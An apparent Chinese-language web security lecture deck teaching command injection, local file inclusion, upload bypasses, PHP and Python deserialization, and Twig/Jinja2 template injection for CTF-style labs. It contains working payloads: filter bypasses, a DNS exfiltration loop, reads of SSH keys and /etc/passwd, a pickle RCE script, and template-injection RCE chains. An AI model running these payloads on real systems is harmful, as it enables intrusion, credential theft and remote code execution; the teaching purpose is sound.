

Web Security 2

Kaibro

Outline

1. Command Injection
2. Local File Inclusion
3. Upload
4. Deserialization
5. Server Side Template Injection

臨時解題平台

- 怕被資安通報的可以用以下網址寫作業
 - 沒擋ip, 自己找跳板、掛VPN打
 - XSS Kitchen: <http://edu.kaibro.tw:5566>
 - cei8a: <http://edu.kaibro.tw:9487>

Command Injection

Command Injection

- 顧名思義，就是插入一些能被執行的指令
- 插去哪？
 - 有可能直接呼叫系統指令的地方
 - 網頁版Ping, dig, curl, ...

[Home](#)[Instructions](#)[Setup / Reset DB](#)[Brute Force](#)[Command Injection](#)[CSRF](#)[File Inclusion](#)[File Upload](#)[Insecure CAPTCHA](#)[SQL Injection](#)[SQL Injection \(Blind\)](#)[XSS \(Reflected\)](#)[XSS \(Stored\)](#)

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 202.89.233.101 (202.89.233.101) 56(84) bytes of data.  
64 bytes from 202.89.233.101: icmp_seq=1 ttl=119 time=14.5 ms  
64 bytes from 202.89.233.101: icmp_seq=2 ttl=119 time=19.5 ms  
64 bytes from 202.89.233.101: icmp_seq=3 ttl=119 time=15.2 ms  
64 bytes from 202.89.233.101: icmp_seq=4 ttl=119 time=16.0 ms
```

```
--- 202.89.233.101 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3006ms  
rtt min/avg/max/mdev = 14.586/16.368/19.579/1.931 ms  
2008_0925_RT2870_Linux_STA_WebUI_v1.4.0.0  
2008_0925_RT2870_Linux_STA_v1.4.0.0  
LatestScannedReport.html  
Recommended Shells for File Access at a website  
afl-1.94b  
afl-latest.tgz  
asp.rb  
bin  
buffer
```

Why?

- 他背後可能這樣寫：
 - `system("ping " . $_POST["ip"]);`
 - 使用者輸入直接拼接上去
 - 沒有任何過濾！

基本招式

- `;`
 - `ping 8.8.8.8 ; ls`
- `|`
 - `ping 8.8.8.8 | ls`
- `&&`
 - `ping 8.8.8.8 && ls`
- `$(CMD)` 或 ``CMD``
 - `ping 8.8.8.8 $(sleep 10)`
 - `ping 8.8.8.8 `sleep 10``

Bypass Space

- `cat${IFS}/etc/passwd`
- `cat</etc/passwd`
- `{cat,/etc/passwd}`
- `IFS=,;`cat<<<uname,-a``

Bypass Keyword

- String Concat
 - `A=fl; B=ag; cat AB`
- Empty Variable
 - `cat fl${x}ag`
- Environment Variable
 - `$PATH => "/usr/local/..."`
 - `${PATH:0:1} => '/'`

DNS 傳資料

- 常用在Command沒回顯時 (Blind Command Injection)
- 有時HTTP被防火牆擋, 但DNS沒擋
- ```
for i in $(ls /) ;
do host "http://$i.kaibro.tw";
done
```

Lab  
cmdinj

# Local File Inclusion

# Local File Inclusion

- 簡稱 LFI
- 就是可以控制include檔案來源的漏洞
- 通常出現在路徑為使用者可控的狀況
- 例如：
  - `include($_GET['file']);`

# Local File Inclusion

- 簡稱 LFI
- 就是可以控制include檔案來源的漏洞
- 通常出現在路徑為使用者可控的狀況
- 例如：
  - `include($_GET['file']);`
  - 我們可以輸入file=/etc/passwd

# Local Fi

- 簡稱
- 就是
- 通常
- 例如：
  - i
  - 我

```
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
20 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
21 syslog:x:102:106:./home/syslog:/usr/sbin/nologin
22 messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
23 _apt:x:104:65534:./nonexistent:/usr/sbin/nologin
24 uidd:x:105:111:./run/uidd:/usr/sbin/nologin
25 avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
26 usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
27 dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
28 rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
29 cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/no
30 speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
31 whoopsie:x:112:117:./nonexistent:/bin/false
32 kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/usr/sbin/nologin
33 saned:x:114:119:./var/lib/saned:/usr/sbin/nologin
34 pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
35 avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
36 colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
37 hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
38 geoclue:x:119:124:./var/lib/geoclue:/usr/sbin/nologin
39 gnome-initial-setup:x:120:65534:./run/gnome-initial-setup:/bin/false
40 gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
41 rblak:x:1000:1000:0rblak,,,:/home/rblak:/bin/bash
42 nvidia-persistenced:x:122:127:NVIDIA Persistence Daemon,,,:/sbin/nologin
43 sshd:x:123:65534:./run/sshd:/usr/sbin/nologin
44 nm-openvpn:x:124:128:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
```



# Local File Inclusion

- 以PHP來說，常見於以下函數
  - `include()`
  - `require()`
  - `include_once()`
  - `require_once()`

# 要讀啥？

- 讀各種設定檔
  - `/etc/apache2/apache2.conf`
  - `/etc/nginx/nginx.conf`
  - `/etc/nginx/conf.d/default.conf`
- 讀ssh key
  - `/root/.ssh/id_rsa`
- 其他
  - `/root/.bash_history`
  - `/var/log/httpd/access_log`

# 稍微潮一點的招 ( PHP Only )

- `php://filter`
  - `php://filter/convert.base64-encode/resource=index.php`
  - `php://filter/read=string.rot13/resource=index.php`
- 讀Source Code!
  - 直接include php檔案會被解析 (看不到code)
  - 先enocde, 讓伺服器解析不出來!

# php://filter Example

```
include($_GET['f']);
```

?f=php://filter/convert.base64-encode/resource=index.php

PGh0bWw+CjxoZWFKPgo8bWV0YSBjaGFyc2V0PSJVVEYtOCI...

# RCE?

- Session
  - php session一般存在`sess_{PHPSESSID}`中
  - 內容可控時，可LFI拿shell
- 環境變數
  - `/proc/self/environ`
- PHPINFO
  - 對server以form-data上傳文件，會產生tmp檔
  - phpinfo用來取得tmp檔路徑和名稱
  - 傳完就砍掉 => `Race Condition`
- ...

Lab

EzLFI

# 上傳漏洞

# 上傳漏洞

- 實用
- 想辦法傳髒東西上去伺服器
  - webservell
- 也可以串其他漏洞
  - 串LFI => RCE
  - 串XSS => 繞CSP
  - ...



# 錯誤防禦方法

- 前端驗證
  - Javascript判斷副檔名是否合法

# 錯誤防禦方法

- 前端驗證

- ~~○ Javascript判斷副檔名是否合法~~

- 直接送Request
    - Disable Javascript
    - ...

# 錯誤防禦方法

- 後端黑名單
  - 例如禁止副檔名為php, asp, ...

# 錯誤防禦方法

- 後端黑名單

- ~~例如禁止副檔名為php, asp, ...~~

- 大小寫：pHP, aSp, ...
    - 特殊副檔名：phtml, php4, php5, ...
    - .htaccess 自訂解析規則


# 錯誤防禦方法

- Magic Number
  - 圖片，聲音等檔案都有獨特的Magic Number
  - 限制上傳檔案的Magic Number總沒錯了吧？

# 錯誤防禦方法

- Magic Number
  - 圖片，聲音等檔案都有獨特的Magic Number
  - ~~○ 限制上傳檔案的Magic Number總沒錯了吧？~~
    - 先塞Magic Number，再塞PHP Code一樣能正常解析

# 錯誤防禦方法



# 比較好的防禦方法

- 別自己實做上傳
  - AWS S3 棒棒
  - imgur 棒棒
  - ...
- 白名單+後端驗證



# 延伸 - 解析漏洞

- Apache解析漏洞
  - gg.php.kaibro
  - 看到不認識的副檔名，會往前找認識的
    - 副檔名kaibro不認識
    - 往前找到php
    - ㄟ 那就當php來解析吧

# Deserialization

# Serialization

- 把Object, Array, ...等資料轉成易於取用、傳輸的格式
- 可持久化
- 舉例 - PHP
  - `Array('a','b')`
  - `a:2:{i:0;s:1:"a";i:1;s:1:"b";}`

# Deserialization

- 把序列化字串還原成Object, Array, ...等
- 常見安全問題都發生在這
  - 直接把使用者輸入拿去反序列化
  - Object內容可控
  - 串POP Chain

# PHP

- `serialize()` / `unserialize()`

87



i:87

'kaibro'



s:6:"kaibro";

Array('a','b')



a:2:{i:0;s:1:"a";i:1;s:1:"b";}

# PHP

- 常見Type

|         |                                                                                                                                                    |
|---------|----------------------------------------------------------------------------------------------------------------------------------------------------|
| String  | <code>s:size:value;</code>                                                                                                                         |
| Integer | <code>i:value;</code>                                                                                                                              |
| Boolean | <code>b:value;</code>                                                                                                                              |
| NULL    | <code>N;</code>                                                                                                                                    |
| Array   | <code>a:size;{key definition; value definition; (repeat per element)}</code>                                                                       |
| Object  | <code>O:strlen(class name):class name:object<br/>size:{s:strlen(property name):property name:property<br/>definition;(repeat per property)}</code> |

# PHP

```
class QQ {
 public $a;
 private $b;
 protected $c;
}
```

# PHP

```
class QQ {
```

```
 public $a;
```



```
 ...{s:4:"a";...}
```

```
 private $b;
```



```
 ...{s:12:"%00QQ%00b";...}
```

```
 protected $c;
```



```
 ...{s:7:"%00*%00c";...}
```

```
}
```



# PHP

```
class QQ {
```

```
 public $a;
```



```
 ...{s:4:"a";...}
```

```
 private $b;
```



```
 ...{s:12:"%00QQ%00b";...}
```

```
 protected $c;
```



```
 ...{s:7:"%00*c";...}
```

```
}
```

Class Name



NULL Byte



# PHP - Magic Method

- `__construct()`
- `__destruct()`
- `__wakeup()`
- `__sleep()`
- `__call()`
- `__toString()`
- ...

# PHP - Magic Method

- `__construct()`
- `__destruct()`
- `__wakeup()`
- `__sleep()`
- `__call()`
- `__toString()`
- ...

# PHP - Magic Method

- `__wakeup()`
  - 在unserialization時會被呼叫
- `__destruct()`
  - 在Object被銷毀時呼叫 (Garbage Collection)
- `__toString()`
  - 當Object被當字串用時呼叫 (例如: `echo $obj`)
- `__call()`
  - 當未定義的方法被call時呼叫

# PHP - Example

```
1 <?php
2
3 class Kaibro {
4 public $test = "yo!";
5 function __wakeup()
6 {
7 system("echo ".$this->test);
8 }
9 }
10
11 $input = $_GET['str'];
12 $kb = unserialize($input);
```

# PHP - Example

```
1 <?php
2
3 class Kaibro {
4 public $test = "yo!";
5 function __wakeup()
6 {
7 system("echo ".$this->test);
8 }
9 }
10
11 $input = $_GET['str'];
12 $kb = unserialize($input);
```

str=

0:6:"Kaibro":1:  
{s:4:"test";s:3:";id";}

uid=0(root) gid=0(root)  
groups=0(root)

# PHP - Example

```
1 <?php
2
3 class Kaibro {
4 public $test = "yo!";
5 function __wakeup()
6 {
7 system("echo ".$this->test);
8 }
9 }
10
11 $input = $_GET['str'];
12 $kb = unserialize($input);
```

unserialize(\$input)



\$test => ";id"




\_\_wakeup()



system(\$this->test)

# POP Chain

- Property Oriented Programming
- 類似Pwn的ROP
- 初始gadget: 反序列化呼叫magic method
- 其他gadget: magic method可能再呼叫其他method
  - 我們可以控制其中的property





# 其他語言反序列化例子

- Java
  - [ysoserial](#)
  - Apache Commons Collections
- ASP.net
  - [ysoserial.net](#)
- Ruby
  - Marshal
  - YAML
- Python
  - Pickle



Microsoft®  
.NET



# Python - pickle

- pickle / cpickle
  - `dumps()` 轉序列化字串
  - `loads()` 還原序列化字串
  - `dump()` / `load()`

# Python - pickle

- How2use?

```
>>> a = [1,2,3]
>>> pickle.dumps(a)
'(lp0\nI1\naI2\naI3\na.'
>>> pickle.loads('(lp0\nI1\naI2\naI3\na.')
[1, 2, 3]
>>> █
```

# Python - pickle

- How2hack?

vul.py

```
1 import os
2 import cPickle
3 import sys
4 import base64
5
6 s = raw_input(":")
7
8 print cPickle.loads(base64.b64decode(s))
```

# Python - pickle

- 構造Payload

exp.py

```
1 import os
2 import cPickle
3 import sys
4 import base64
5
6 class Exploit(object):
7 def __reduce__(self):
8 return (os.system, ('ls',))
9
10 shellcode = cPickle.dumps(Exploit())
11 print base64.b64encode(shellcode)
```

```
1 import os
2 import cPickle
3 import sys
4 import base64
5
6 class Exploit(object):
7 def __reduce__(self):
8 return (os.system, ('ls',))
9
10 shellcode = cPickle.dumps(Exploit())
11 print base64.b64encode(shellcode)
```

exp.py

```
$ python exp.py > pay
$ cat pay|python vul.py
```

exp.py pay vul.py

```
1 import os
2 import cPickle
3 import sys
4 import base64
5
6 s = raw_input(":")
7
8 print cPickle.loads(base64.b64decode(s))
```

vul.py

# 進階 - PHP Phar反序列化

- 今年最潮的反序列化招
- 歷史
  - 最早出現在HITCON CTF 2017 - Orange Tsai
  - Black hat 2018 - Sam Thomas
- CTF
  - HITCON CTF 2017 - Baby^H Master PHP 2017
  - HITCON CTF 2018 - Baby Cake
  - DCTF 2018 - Vulture

# 進階 - PHP Phar反序列化

- 原理

- 當使用`phar://`協議讀取phar文件時，會將裏頭的`metadata`反序列化
- 不需要透過`unserialize()`
- 一些常見文件操作函數都能觸發
  - `file_get_contents()`
  - `file_put_contents()`
  - `include()`
  - `...`



# 進階 - PHP Phar反序列化

- 細節參考

- <https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf>

# Server Side Template Injection

# Template Engine

- 常見於各大Web Framework中
- 將使用者介面與資料分離
- 舉例：
  - Ruby ERB: `<h1><%= Time.now.to_s %></h1>`
  - Jinja2: `<p>{{ user.username }}</p>`
  - ...

# Template Injection (以Twig為例)

- `$twig->render("Hello {name}", array("name" => $user.name) );`
  - 很棒，沒啥問題
- `$twig->render($_GET['input'], array("name" => $user.name) );`
  - G\_\_\_\_\_G
  - 很明顯可以XSS
  - 但還能做啥？

# Template Injection (以Twig為例)

- `$twig->render($_GET['input'], ...);`
  - `input={{ 8*7 }}`
  - 56

# Template Injection (以Twig為例)

- `$twig->render($_GET['input'], ...);`
  - `input={{ self }}`
  - Object of class `__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5` could not be converted to string

# Template Injection (以Twig為例)


- 甚至有機會RCE!
  - `{{_self.env.registerUndefinedFilterCallback("exec")}}{  
_self.env.getFilter("id")}}`
  - `uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)`

# How to fuzz?

- `{{ 7*7 }}`
  - Twig: 49
  - Jinja2: 49
- `{{ 7*'7' }}`
  - Twig: 49
  - Jinja2: 7777777



# How to fuzz?



# Jinja2

- Dump all used classes

```
{{ '.__class__.__mro__[2].__subclasses__()' }}
```

```
Hello [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable_iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameriterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'weakrefset.IterationGuard'>, <class 'weakrefset.WeakSet'>, <class 'abcoll.Hashable'>, <type 'classmethod'>, <class 'abcoll.Iterable'>, <class 'abcoll.Sized'>, <class 'abcoll.Container'>, <class 'abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type 'sre.SRE_Pattern'>, <type 'sre.SRE_Match'>, <type 'sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'uwsgi._Input'>, <type 'uwsgi.SymbolsImporter'>, <type 'uwsgi.ZipImporter'>, <type 'uwsgi.SymbolsZipImporter'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.zip'>, <type 'itertools.zip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools.grouper'>, <type 'cStringIO.StringIO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <type 'time.struct_time'>, <class 'email._LazyImporter'>, <type 'Struct'>, <type 'hashlib.HASH'>, <type 'random.Random'>, <class 'socket._closedsocket'>, <type 'socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'calendar.Calendar'>, <type 'io._IOBase'>, <type 'io.IncrementalNewlineDecoder'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._ond_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'werkzeug.urls.Href'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi.RangeWrapper'>, <class 'werkzeug.wsgi.LimitedStream'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'werkzeug.exceptions.Aborter'>, <type 'json.Scanner'>, <type 'json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupbase._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.nodes.Node'>, <class 'difflib.HtmlDiff'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class
```

# Jinja2

- 任意讀檔Example:

- `{{'__.__class__.__mro__[2].__subclasses__()[40]}}`

- `<type 'file'>`

- `{{'__.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}`

# Jinja2

- 寫檔Example:

- `{{'__.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}}`

# Jinja2

- 暴力找eval

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
 {% for b in c.__init__.__globals__.values() %}
 {% if b.__class__ == {}.__class__ %}
 {% if 'eval' in b.keys() %}
 {{ b['eval']('__import__("os").popen("id").read()') }}
 {% endif %}
 {% endif %}
 {% endfor %}
{% endif %}
```

# Jinja2 - 各種Bypass

- `{{ 或 }}` 被過濾
  - 改用`{% %}`，執行結果往外傳
- `.` 被過濾
  - `{{'__.__class__'}}`
  - `{{' '['__class__' ]'}}`
- `[]` 被過濾
  - `{{'__.__class__.__mro__[2]'}}`
  - `{{'__.__class__.__mro__.__getitem__(2)'}}`

# Lab

# Jinja2

HW 0x08  
GhostGIF